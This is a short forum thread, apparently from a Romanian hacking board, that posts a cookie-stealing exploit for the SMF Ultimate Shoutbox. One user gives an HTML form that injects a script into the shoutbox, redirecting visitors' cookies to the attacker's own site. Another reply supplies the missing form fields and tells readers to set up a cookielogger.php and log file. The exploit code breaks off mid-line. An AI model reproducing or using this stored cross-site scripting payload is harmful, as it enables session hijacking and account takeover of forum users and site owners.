SMF Ultimate Shoutbox Cookie Disclosure Exploit

[irc_boy]

This is your basic shoutbox. Your registers users type in a message and click shout. Guests on your

site (if you give them access to the block) will type in their name, email address and message before

clicking shout.

The format of each 'shout' is Date, Name, Message. If a registered user posts a shout, their name

becomes a link to their profile. If a guest posts a shout, their name is a mailto: to the email

address they entered.

Vulnerabilities:

----------------------------------------

Create an html file :

<center>

<form action="http://WWW.TARGET.COM/index.php?action=shout" method="post">

<input value="http://WWW.TARGET.COM/index.php?" name="qstr" type="hidden">

<input value="" name="email" type="hidden">

<input value=" <SCRIPT>location.href='http://WWW.YOURS

[Criminal]

mersi irc_boy , cand am vrut sa-l pun mi-o dat erroare.

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator to inform of the time the error occurred and of anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

nu e postat tot

mai trebuia:

<input value="[HERE MEMBERID EXAMPLE: 2]" name="memberID" type="hidden">

<input value="Message" name="message" size="16" maxlength="300" onfocus="if (this.value == 'Message')this.value=''" type="text">

<input name="submit" value="Shout" type="submit">

</form>

</center>

-----------------------------------------------

Create the page cookielogger.php & logfile.txt

-----------------------------------------------

[irc_boy]

Intotdeauna e loc de mai bine